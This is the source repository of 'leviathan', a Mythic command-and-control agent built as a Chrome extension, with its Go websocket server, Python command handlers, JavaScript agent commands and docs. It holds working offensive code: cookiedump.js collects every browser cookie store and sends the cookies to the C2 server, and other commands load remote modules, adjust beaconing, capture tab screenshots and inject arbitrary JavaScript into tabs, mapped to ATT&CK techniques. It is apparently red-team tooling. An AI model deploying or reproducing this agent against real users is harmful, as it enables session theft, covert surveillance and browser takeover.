├── C2_Profiles
└── .keep
├── Payload_Type
├── .keep
└── leviathan
│ ├── __init__.py
│ ├── leviathan_websocket
│ ├── __init__.py
│ ├── c2_code
│ │ ├── index.html
│ │ ├── go.mod
│ │ ├── build_help
│ │ ├── config.json
│ │ ├── go.sum
│ │ ├── Makefile
│ │ ├── main.go
│ │ └── servers
│ │ │ ├── server.go
│ │ │ └── websocket.go
│ └── websocket.py
│ ├── leviathan
│ ├── agent_functions
│ │ ├── __init__.py
│ │ ├── tabs.py
│ │ ├── userinfo.py
│ │ ├── exit.py
│ │ ├── cookiedump.py
│ │ ├── screencapture.py
│ │ ├── sleep.py
│ │ ├── inject.py
│ │ └── builder.py
│ ├── agent_code
│ │ ├── extension
│ │ │ ├── icons
│ │ │ │ └── blank.png
│ │ │ └── utils
│ │ │ │ └── kl.js
│ │ ├── commands
│ │ │ ├── load.js
│ │ │ ├── sleep.js
│ │ │ ├── exit.js
│ │ │ ├── cookiedump.js
│ │ │ ├── inject.js
│ │ │ ├── userinfo.js
│ │ │ ├── tabs.js
│ │ │ └── screencapture.js
│ │ ├── manifest.json
│ │ ├── chrome-extension.js
│ │ └── c2
│ │ │ └── leviathan-websocket.js
│ └── __init__.py
│ ├── rabbitmq_config.json
│ ├── main.py
│ ├── Dockerfile
│ └── Makefile
├── agent_icons
├── .keep
└── leviathan.svg
├── documentation-c2
└── .keep
├── documentation-payload
├── .keep
└── leviathan
│ ├── c2_profiles
│ ├── _index.md
│ └── leviathan-websocket.md
│ ├── commands
│ ├── _index.md
│ ├── sleep.md
│ ├── tabs.md
│ ├── load.md
│ ├── screencapture.md
│ ├── cookiedump.md
│ ├── userinfo.md
│ ├── exit.md
│ └── inject.md
│ ├── opsec.md
│ ├── development.md
│ └── _index.md
├── documentation-wrapper
└── .keep
├── config.json
├── LICENSE
├── README.md
└── .gitignore
/C2_Profiles/.keep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Payload_Type/.keep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/agent_icons/.keep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/documentation-c2/.keep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/documentation-payload/.keep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/documentation-wrapper/.keep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/rabbitmq_config.json:
--------------------------------------------------------------------------------
1 | {
2 | "rabbitmq_host": "127.0.0.1",
3 | "mythic_server_host": "127.0.0.1",
4 | "debug_level": "debug"
5 | }
--------------------------------------------------------------------------------
/Payload_Type/leviathan/main.py:
--------------------------------------------------------------------------------
1 | import mythic_container
2 | import leviathan
3 | from leviathan_websocket.websocket import *
4 |
5 | mythic_container.mythic_service.start_and_run_forever()
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/extension/icons/blank.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MythicAgents/leviathan/HEAD/Payload_Type/leviathan/leviathan/agent_code/extension/icons/blank.png
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "exclude_payload_type": false,
3 | "exclude_c2_profiles": false,
4 | "exclude_documentation_payload": false,
5 | "exclude_documentation_c2": false,
6 | "exclude_agent_icons": false
7 | }
8 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Under Construction
5 |
6 |
7 | This page is under construction. Please come back soon!
8 |
9 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/MythicC2Profiles/websocket
2 |
3 | go 1.19
4 |
5 | require (
6 | github.com/gorilla/websocket v1.5.0
7 | github.com/kabukky/httpscerts v0.0.0-20150320125433-617593d7dcb3
8 | )
9 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/build_help:
--------------------------------------------------------------------------------
1 | To build the sever:
2 |
3 | go get github.com/gorilla/websocket
4 | go get github.com/kabukky/httpscerts
5 | go build -tags=websocket main.go
6 |
7 | this outputs a binary called "main"
8 | move this to ../server
--------------------------------------------------------------------------------
/documentation-payload/leviathan/c2_profiles/_index.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "C2 Profiles"
3 | chapter = true
4 | weight = 25
5 | pre = "4. "
6 | +++
7 |
8 | # Supported C2 Profiles
9 |
10 | This section goes into any `leviathan` specifics for the supported C2 profiles.
11 |
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/_index.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "Commands"
3 | chapter = true
4 | weight = 15
5 | pre = "2. "
6 | +++
7 |
8 | # leviathan Command Reference
9 | These pages provide in-depth documentation and code samples for the `leviathan` commands.
10 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "bindaddress": "0.0.0.0:8081",
3 | "usessl": false,
4 | "sslkey":"",
5 | "sslcert":"",
6 | "websocketuri": "socket",
7 | "defaultpage": "index.html",
8 | "logfile": "server.log",
9 | "debug": false
10 | }
11 |
--------------------------------------------------------------------------------
/documentation-payload/leviathan/c2_profiles/leviathan-websocket.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "leviathan-websocket"
3 | chapter = false
4 | weight = 102
5 | +++
6 |
7 | ## Summary
8 | The leviathan agent exclusively uses the websocket c2 profile with no deviations.
9 |
10 | ### Profile Option Deviations
11 |
12 |
13 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM itsafeaturemythic/mythic_python_go:latest
2 |
3 | RUN git clone https://github.com/pawliczka/CRX3-Creator /CRX3-Creator
4 | RUN pip3 install cryptography==3.3.2
5 | RUN pip3 install pycparser==2.19
6 | RUN pip3 install six==1.13.0
7 |
8 | WORKDIR /Mythic/
9 |
10 | COPY [".", "."]
11 |
12 | RUN make build
13 |
14 | CMD make run
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/go.sum:
--------------------------------------------------------------------------------
1 | github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc=
2 | github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
3 | github.com/kabukky/httpscerts v0.0.0-20150320125433-617593d7dcb3 h1:Iy7Ifq2ysilWU4QlCx/97OoI4xT1IV7i8byT/EyIT/M=
4 | github.com/kabukky/httpscerts v0.0.0-20150320125433-617593d7dcb3/go.mod h1:BYpt4ufZiIGv2nXn4gMxnfKV306n3mWXgNu/d2TqdTU=
5 |
--------------------------------------------------------------------------------
/documentation-payload/leviathan/opsec.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "OPSEC"
3 | chapter = false
4 | weight = 10
5 | pre = "1. "
6 | +++
7 |
8 | ## Considerations
9 | The leviathan agent does not utilize AES encryption for C2 communications.
10 |
11 | ### Post-Exploitation Jobs
12 | All post-exploitation tasks are executed in an asynchronous manner.
13 |
14 | ### Connections
15 | There's one held-open connection via WebSockets, then all tasking occurs within that connection.
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/sleep.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "sleep"
3 | chapter = false
4 | weight = 100
5 | hidden = false
6 | +++
7 |
8 | ## Summary
9 |
10 | Change the sleep interval for an agent
11 | - Needs Admin: False
12 | - Version: 1
13 | - Author: @xorrior
14 |
15 | ### Arguments
16 |
17 | #### sleep
18 |
19 | - Description: Adjust the callback interval in seconds
20 | - Required Value: True
21 | - Default Value: None
22 |
23 | ## Usage
24 |
25 | ```
26 | sleep {"sleep":10}
27 | ```
28 |
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/tabs.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "tabs"
3 | chapter = false
4 | weight = 100
5 | hidden = false
6 | +++
7 |
8 | ## Summary
9 |
10 | Retrieve information about all open tabs in the current window
11 | - Needs Admin: False
12 | - Version: 1
13 | - Author: @xorrior
14 |
15 | ### Arguments
16 |
17 | ## Usage
18 |
19 | ```
20 | tabs
21 | ```
22 |
23 |
24 | ## Detailed Summary
25 |
26 | This command uses the chrome.tabs.query API to retrieve information for all open tabs.
27 | https://developer.chrome.com/extensions/tabs#method-query
28 |
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/load.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "load"
3 | chapter = false
4 | weight = 100
5 | hidden = false
6 | +++
7 |
8 | ## Summary
9 |
10 | Load a command into the extension
11 | - Needs Admin: False
12 | - Version: 1
13 | - Author: @xorrior
14 |
15 | ### Arguments
16 |
17 | ## Usage
18 |
19 | ```
20 | load [command_name]
21 | ```
22 |
23 |
24 | ## Detailed Summary
25 |
26 | This loads the specified command into the extension. The command must be saved in the `chrome-extension/agent_commands` folder according to the template defined in the development section.
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/screencapture.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "screencapture"
3 | chapter = false
4 | weight = 100
5 | hidden = false
6 | +++
7 |
8 | ## Summary
9 |
10 | Capture a screenshot of the active tab
11 | - Needs Admin: False
12 | - Version: 1
13 | - Author: @xorrior
14 |
15 | ### Arguments
16 |
17 | ## Usage
18 |
19 | ```
20 | screencapture
21 | ```
22 |
23 |
24 | ## Detailed Summary
25 |
26 | This command uses the chrome.tabs.captureVisibleTab API to grab a screenshot of the specified tab.
27 | https://developer.chrome.com/extensions/tabs#method-captureVisibleTab
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/cookiedump.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "cookiedump"
3 | chapter = false
4 | weight = 100
5 | hidden = false
6 | +++
7 |
8 | ## Summary
9 |
10 | Dump all cookies from the currently selected cookie jar
11 | - Needs Admin: False
12 | - Version: 1
13 | - Author: @xorrior
14 |
15 | ### Arguments
16 |
17 | ## Usage
18 |
19 | ```
20 | cookiedump
21 | ```
22 |
23 |
24 | ## Detailed Summary
25 | This command uses the chrome.cookies.getAll API to obtain all available cookies for the current user.
26 | https://developer.chrome.com/extensions/cookies#method-getAll
27 |
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/userinfo.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "userinfo"
3 | chapter = false
4 | weight = 100
5 | hidden = false
6 | +++
7 |
8 | ## Summary
9 |
10 | Retrieve user information about the current user
11 | - Needs Admin: False
12 | - Version: 1
13 | - Author: @xorrior
14 |
15 | ### Arguments
16 |
17 | ## Usage
18 |
19 | ```
20 | userinfo
21 | ```
22 |
23 |
24 | ## Detailed Summary
25 |
26 | This command uses the chrome.identity.getProfileUserInfo API to obtain additional information about the current user.
27 | https://developer.chrome.com/extensions/identity#method-getProfileUserInfo
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/exit.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "exit"
3 | chapter = false
4 | weight = 100
5 | hidden = false
6 | +++
7 |
8 | ## Summary
9 |
10 | Exit the extension
11 | - Needs Admin: False
12 | - Version: 1
13 | - Author: @xorrior
14 |
15 | ### Arguments
16 |
17 | ## Usage
18 |
19 | ```
20 | exit
21 | ```
22 |
23 |
24 | ## Detailed Summary
25 |
26 | This exits the current instance of the browser extension. This does _NOT_ remove the extension. It simply kills the connection. If the target closes and re-opens Chrome, you will get a new callback. Similarly, if you push an update to the extension, you'll get a new callback.
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/__init__.py:
--------------------------------------------------------------------------------
1 | import glob
2 | import os.path
3 | from pathlib import Path
4 | from importlib import import_module, invalidate_caches
5 | import sys
6 | # Get file paths of all modules.
7 |
8 | currentPath = Path(__file__)
9 | searchPath = currentPath.parent / "agent_functions" / "*.py"
10 | modules = glob.glob(f"{searchPath}")
11 | invalidate_caches()
12 | for x in modules:
13 | if not x.endswith("__init__.py") and x[-3:] == ".py":
14 | module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
15 | for el in dir(module):
16 | if "__" not in el:
17 | globals()[el] = getattr(module, el)
18 |
19 |
20 | sys.path.append(os.path.abspath(currentPath.name))
21 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: default
2 | default: build_linux ;
3 |
4 | BINARY_NAME?=mythic_leviathan_websocket_server
5 | DEBUG_LEVEL?="debug"
6 | MYTHIC_SERVER_HOST?="127.0.0.1"
7 | MYTHIC_SERVER_PORT?="17443"
8 |
9 | build:
10 | go mod download
11 | go mod tidy
12 | CGO_ENABLED=0 go build -o ${BINARY_NAME} -tags=websocket .
13 | cp ${BINARY_NAME} /
14 |
15 | build_local:
16 | go mod download
17 | go mod tidy
18 | CGO_ENABLED=0 go build -o ${BINARY_NAME} -tags=websocket .
19 |
20 | run:
21 | cp /${BINARY_NAME} .
22 |
23 | build_macos:
24 | go build -o ${BINARY_NAME} -tags=websocket .
25 |
26 | run_custom:
27 | DEBUG_LEVEL=${DEBUG_LEVEL} \
28 | MYTHIC_SERVER_HOST=${MYTHIC_SERVER_HOST} \
29 | MYTHIC_SERVER_PORT=${MYTHIC_SERVER_PORT} \
30 | ./${BINARY_NAME}
31 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/json"
5 | "github.com/MythicC2Profiles/websocket/servers"
6 | "io"
7 | "log"
8 | "os"
9 | )
10 |
11 | func main() {
12 | c2config := servers.C2Config{}
13 | if cf, err := os.Open("config.json"); err != nil {
14 | log.Println("Error opening config file ", err.Error())
15 | os.Exit(-1)
16 | } else if config, err := io.ReadAll(cf); err != nil {
17 | log.Println("Error in reading config file ", err.Error())
18 | os.Exit(-1)
19 | } else if err = json.Unmarshal(config, &c2config); err != nil {
20 | log.Println("Error in unmarshal call for config ", err.Error())
21 | os.Exit(-1)
22 | }
23 | // start the server instance with the config
24 | c2server := servers.NewInstance().(servers.Server)
25 |
26 | c2server.Run(c2config)
27 |
28 | }
29 |
--------------------------------------------------------------------------------
/documentation-payload/leviathan/commands/inject.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "inject"
3 | chapter = false
4 | weight = 100
5 | hidden = false
6 | +++
7 |
8 | ## Summary
9 |
10 | Inject arbitrary javascript into a browser tab
11 | - Needs Admin: False
12 | - Version: 1
13 | - Author: @xorrior
14 |
15 | ### Arguments
16 |
17 | #### tabid
18 |
19 | - Description:
20 | - Required Value: True
21 | - Default Value: None
22 |
23 | #### javascript
24 |
25 | - Description: Base64 encoded javascript
26 | - Required Value: False
27 | - Default Value: None
28 |
29 | ## Usage
30 |
31 | ```
32 | inject {"tabid":0,"javascript":"base64 encoded javascript"}
33 | ```
34 |
35 |
36 | ## Detailed Summary
37 |
38 | This command uses the chrome.tabs.executeScript API to inject arbitrary javascript code into a browser tab.
39 | https://developer.chrome.com/extensions/tabs#method-executeScript
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan_websocket/c2_code/servers/server.go:
--------------------------------------------------------------------------------
1 | package servers
2 |
3 | // C2Config - struct for server configuration
4 | type C2Config struct {
5 | BindAddress string `json:"bindaddress"`
6 | SocketURI string `json:"websocketuri"`
7 | SSLKey string `json:"sslkey"`
8 | SSLCert string `json:"sslcert"`
9 | UseSSL bool `json:"usessl"`
10 | Defaultpage string `json:"defaultpage"`
11 | Logfile string `json:"logfile"`
12 | Debug bool `json:"debug"`
13 | }
14 |
15 | // Server - interface used for all c2 profiles
16 | type Server interface {
17 | ApfellBaseURL() string
18 | SetMythicBaseURL(url string)
19 | Run(cf interface{})
20 | }
21 |
22 | // Message - struct definition for messages between clients and the server
23 | type Message struct {
24 | Tag string `json:"tag"`
25 | Client bool `json:"client"`
26 | Data string `json:"data"`
27 | }
28 |
29 | func NewInstance() interface{} {
30 | return newServer()
31 | }
32 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/tabs.py:
--------------------------------------------------------------------------------
1 | from mythic_container.MythicCommandBase import *
2 | import json
3 |
4 |
5 | class TabsArguments(TaskArguments):
6 | def __init__(self, command_line, **kwargs):
7 | super().__init__(command_line, **kwargs)
8 | self.args = []
9 |
10 | async def parse_arguments(self):
11 | pass
12 |
13 |
14 | class TabsCommand(CommandBase):
15 | cmd = "tabs"
16 | needs_admin = False
17 | help_cmd = "tabs"
18 | description = "Retrieve information about all open tabs in the current window"
19 | version = 1
20 | author = "@xorrior"
21 | argument_class = TabsArguments
22 | attackmapping = []
23 |
24 | async def create_tasking(self, task: MythicTask) -> MythicTask:
25 | return task
26 |
27 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
28 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
29 | return resp
30 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/userinfo.py:
--------------------------------------------------------------------------------
1 | from mythic_container.MythicCommandBase import *
2 | import json
3 |
4 |
5 | class UserInfoArguments(TaskArguments):
6 | def __init__(self, command_line, **kwargs):
7 | super().__init__(command_line, **kwargs)
8 | self.args = []
9 |
10 | async def parse_arguments(self):
11 | pass
12 |
13 |
14 | class UserInfoCommand(CommandBase):
15 | cmd = "userinfo"
16 | needs_admin = False
17 | help_cmd = "userinfo"
18 | description = "Retrieve user information about the current user"
19 | version = 1
20 | author = "@xorrior"
21 | argument_class = UserInfoArguments
22 | attackmapping = []
23 |
24 | async def create_tasking(self, task: MythicTask) -> MythicTask:
25 | return task
26 |
27 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
28 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
29 | return resp
30 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/exit.py:
--------------------------------------------------------------------------------
1 | from mythic_container.MythicCommandBase import *
2 | import json
3 |
4 |
5 | class ExitArguments(TaskArguments):
6 | def __init__(self, command_line, **kwargs):
7 | super().__init__(command_line, **kwargs)
8 | self.args = []
9 |
10 | async def parse_arguments(self):
11 | pass
12 |
13 |
14 | class ExitCommand(CommandBase):
15 | cmd = "exit"
16 | needs_admin = False
17 | help_cmd = "exit"
18 | description = "Exit the extension"
19 | version = 1
20 | supported_ui_features = ["callback_table:exit"]
21 | author = "@xorrior"
22 | argument_class = ExitArguments
23 | attackmapping = []
24 |
25 | async def create_tasking(self, task: MythicTask) -> MythicTask:
26 | return task
27 |
28 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
29 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
30 | return resp
31 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/commands/load.js:
--------------------------------------------------------------------------------
1 | exports.load = function(task) {
2 | // TODO: load
3 | try {
4 | let args = JSON.parse(task.parameters);
5 | let response = {'action':'upload','full_path':'', 'chunk_size':1024000, 'chunk_num':1,'file_id':args.file_id};
6 | let encodedResponse = JSON.stringify(response);
7 | let final = apfell.apfellid + encodedResponse;
8 | let msg = btoa(unescape(encodeURIComponent(final)));
9 | out.push(msg);
10 | loads.push({'type':'load','name': args.cmds,'file_id':args.file_id, 'task_id':task.id,'data':[]});
11 | } catch (error) {
12 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
13 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
14 | let enc = JSON.stringify(outer_response);
15 | let final = apfell.apfellid + enc;
16 | let msg = btoa(unescape(encodeURIComponent(final)));
17 | out.push(msg);
18 | }
19 |
20 | };
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/cookiedump.py:
--------------------------------------------------------------------------------
1 | from mythic_container.MythicCommandBase import *
2 | import json
3 |
4 |
5 | class CookieDumpArguments(TaskArguments):
6 | def __init__(self, command_line, **kwargs):
7 | super().__init__(command_line, **kwargs)
8 | self.args = []
9 |
10 | async def parse_arguments(self):
11 | pass
12 |
13 |
14 | class CookieDumpCommand(CommandBase):
15 | cmd = "cookiedump"
16 | needs_admin = False
17 | help_cmd = "cookiedump"
18 | description = "Dump all cookies from the currently selected cookie jar"
19 | version = 1
20 | author = "@xorrior"
21 | argument_class = CookieDumpArguments
22 | attackmapping = ["T1539"]
23 |
24 | async def create_tasking(self, task: MythicTask) -> MythicTask:
25 | return task
26 |
27 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
28 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
29 | return resp
30 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/screencapture.py:
--------------------------------------------------------------------------------
1 | from mythic_container.MythicCommandBase import *
2 | import json
3 |
4 |
5 | class ScreencaptureArguments(TaskArguments):
6 | def __init__(self, command_line, **kwargs):
7 | super().__init__(command_line, **kwargs)
8 | self.args = []
9 |
10 | async def parse_arguments(self):
11 | pass
12 |
13 |
14 | class ScreencaptureCommand(CommandBase):
15 | cmd = "screencapture"
16 | needs_admin = False
17 | help_cmd = "screencapture"
18 | description = "Capture a screenshot of the active tab"
19 | version = 1
20 | author = "@xorrior"
21 | argument_class = ScreencaptureArguments
22 | attackmapping = ["T1113"]
23 |
24 | async def create_tasking(self, task: MythicTask) -> MythicTask:
25 | return task
26 |
27 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
28 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
29 | return resp
30 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/Makefile:
--------------------------------------------------------------------------------
1 | BINARY_NAME?=main
2 | DEBUG_LEVEL?="warning"
3 | RABBITMQ_HOST?="127.0.0.1"
4 | RABBITMQ_PASSWORD?=""
5 | MYTHIC_SERVER_HOST?="127.0.0.1"
6 | MYTHIC_SERVER_GRPC_PORT?="17444"
7 | WEBHOOK_DEFAULT_URL?=
8 | WEBHOOK_DEFAULT_CHANNEL?=
9 | WEBHOOK_DEFAULT_FEEDBACK_CHANNEL?=
10 | WEBHOOK_DEFAULT_CALLBACK_CHANNEL?=
11 | WEBHOOK_DEFAULT_STARTUP_CHANNEL?=
12 |
13 | build:
14 | cd leviathan_websocket/c2_code && make build
15 |
16 | run:
17 | cd leviathan_websocket/c2_code && make run
18 | python3 main.py
19 |
20 | run_custom:
21 | DEBUG_LEVEL=${DEBUG_LEVEL} \
22 | RABBITMQ_HOST=${RABBITMQ_HOST} \
23 | RABBITMQ_PASSWORD=${RABBITMQ_PASSWORD} \
24 | MYTHIC_SERVER_HOST=${MYTHIC_SERVER_HOST} \
25 | MYTHIC_SERVER_GRPC_PORT=${MYTHIC_SERVER_GRPC_PORT} \
26 | WEBHOOK_DEFAULT_URL=${WEBHOOK_DEFAULT_URL} \
27 | WEBHOOK_DEFAULT_CHANNEL=${WEBHOOK_DEFAULT_CHANNEL} \
28 | WEBHOOK_DEFAULT_FEEDBACK_CHANNEL=${WEBHOOK_DEFAULT_FEEDBACK_CHANNEL} \
29 | WEBHOOK_DEFAULT_CALLBACK_CHANNEL=${WEBHOOK_DEFAULT_CALLBACK_CHANNEL} \
30 | WEBHOOK_DEFAULT_STARTUP_CHANNEL=${WEBHOOK_DEFAULT_STARTUP_CHANNEL} \
31 | python3 main.py
32 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/commands/sleep.js:
--------------------------------------------------------------------------------
1 | exports.sleep = function(task) {
2 | try {
3 | let args = JSON.parse(task.parameters.toString());
4 | C2.interval = args.sleep;
5 | clearInterval(mainloop);
6 | mainloop = setInterval(c2loop, C2.interval * 1000);
7 | let response = {"task_id":task.id, "user_output":"updated sleep to " + C2.interval, "completed": true};
8 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
9 | let enc = JSON.stringify(outer_response);
10 | let final = apfell.apfellid + enc;
11 | let msg = btoa(unescape(encodeURIComponent(final)));
12 | out.push(msg);
13 | } catch (error) {
14 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
15 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
16 | let enc = JSON.stringify(outer_response);
17 | let final = apfell.apfellid + enc;
18 | let msg = btoa(unescape(encodeURIComponent(final)));
19 | out.push(msg);
20 | }
21 | };
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/commands/exit.js:
--------------------------------------------------------------------------------
1 | exports.exit = function(task) {
2 | try {
3 | let response = {"task_id":task.id, "user_output":"exiting", "completed": true};
4 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
5 | let enc = JSON.stringify(outer_response);
6 | let final = apfell.apfellid + enc;
7 | let msg = btoa(unescape(encodeURIComponent(final)));
8 | let meta = {
9 | "data": msg,
10 | "client": true,
11 | "tag":"",
12 | };
13 | let fullmsg = JSON.stringify(meta);
14 | connection.send(fullmsg);
15 | setTimeout(function name(params) {
16 | connection.close();
17 | }, C2.interval);
18 | } catch (error) {
19 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
20 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
21 | let enc = JSON.stringify(outer_response);
22 | let final = apfell.apfellid + enc;
23 | let msg = btoa(unescape(encodeURIComponent(final)));
24 | out.push(msg);
25 | }
26 | };
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/sleep.py:
--------------------------------------------------------------------------------
1 | from mythic_container.MythicCommandBase import *
2 | import json
3 |
4 |
5 | class SleepArguments(TaskArguments):
6 | def __init__(self, command_line, **kwargs):
7 | super().__init__(command_line, **kwargs)
8 | self.args = [
9 | CommandParameter(
10 | name="sleep",
11 | type=ParameterType.Number,
12 | description="Adjust the callback interval in seconds",
13 | ),
14 | ]
15 |
16 | async def parse_arguments(self):
17 | self.load_args_from_json_string(self.command_line)
18 |
19 |
20 | class SleepCommand(CommandBase):
21 | cmd = "sleep"
22 | needs_admin = False
23 | help_cmd = 'sleep {"sleep":10}'
24 | description = "Change the sleep interval for an agent"
25 | version = 1
26 | author = "@xorrior"
27 | argument_class = SleepArguments
28 | attackmapping = []
29 |
30 | async def create_tasking(self, task: MythicTask) -> MythicTask:
31 | task.display_params = str(task.args.get_arg("sleep")) + "s"
32 | return task
33 |
34 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
35 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
36 | return resp
37 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/commands/cookiedump.js:
--------------------------------------------------------------------------------
1 | exports.cookiedump = function(task) {
2 | try {
3 | let results = [];
4 | chrome.cookies.getAllCookieStores(function(stores) {
5 | stores.forEach(function (store) {
6 | const filter = {};
7 | filter["storeId"] = store.id;
8 | chrome.cookies.getAll({"storeId": store.id}, function (cookies) {
9 | let response = {'task_id':task.id, 'user_output':JSON.stringify(cookies, null, 2), 'completed':true};
10 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
11 | let enc = JSON.stringify(outer_response);
12 | let final = apfell.apfellid + enc;
13 | let msg = btoa(unescape(encodeURIComponent(final)));
14 | out.push(msg);
15 | });
16 | });
17 | });
18 | } catch (error) {
19 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
20 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
21 | let enc = JSON.stringify(outer_response);
22 | let final = apfell.apfellid + enc;
23 | let msg = btoa(unescape(encodeURIComponent(final)));
24 | out.push(msg);
25 | }
26 | };
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_functions/inject.py:
--------------------------------------------------------------------------------
1 | from mythic_container.MythicCommandBase import *
2 | import json
3 |
4 |
5 | class InjectArguments(TaskArguments):
6 | def __init__(self, command_line, **kwargs):
7 | super().__init__(command_line, **kwargs)
8 | self.args = [
9 | CommandParameter(name="tabid", type=ParameterType.Number),
10 | CommandParameter(
11 | name="javascript",
12 | type=ParameterType.String,
13 | description="Base64 encoded javascript",
14 | ),
15 | ]
16 |
17 | async def parse_arguments(self):
18 | self.load_args_from_json_string(self.command_line)
19 |
20 |
21 | class InjectCommand(CommandBase):
22 | cmd = "inject"
23 | needs_admin = False
24 | help_cmd = 'inject {"tabid":0,"javascript":"base64 encoded javascript"}'
25 | description = "Inject arbitrary javascript into a browser tab"
26 | version = 1
27 | author = "@xorrior"
28 | argument_class = InjectArguments
29 | attackmapping = ["T1059.007"]
30 |
31 | async def create_tasking(self, task: MythicTask) -> MythicTask:
32 | return task
33 |
34 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
35 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
36 | return resp
37 |
--------------------------------------------------------------------------------
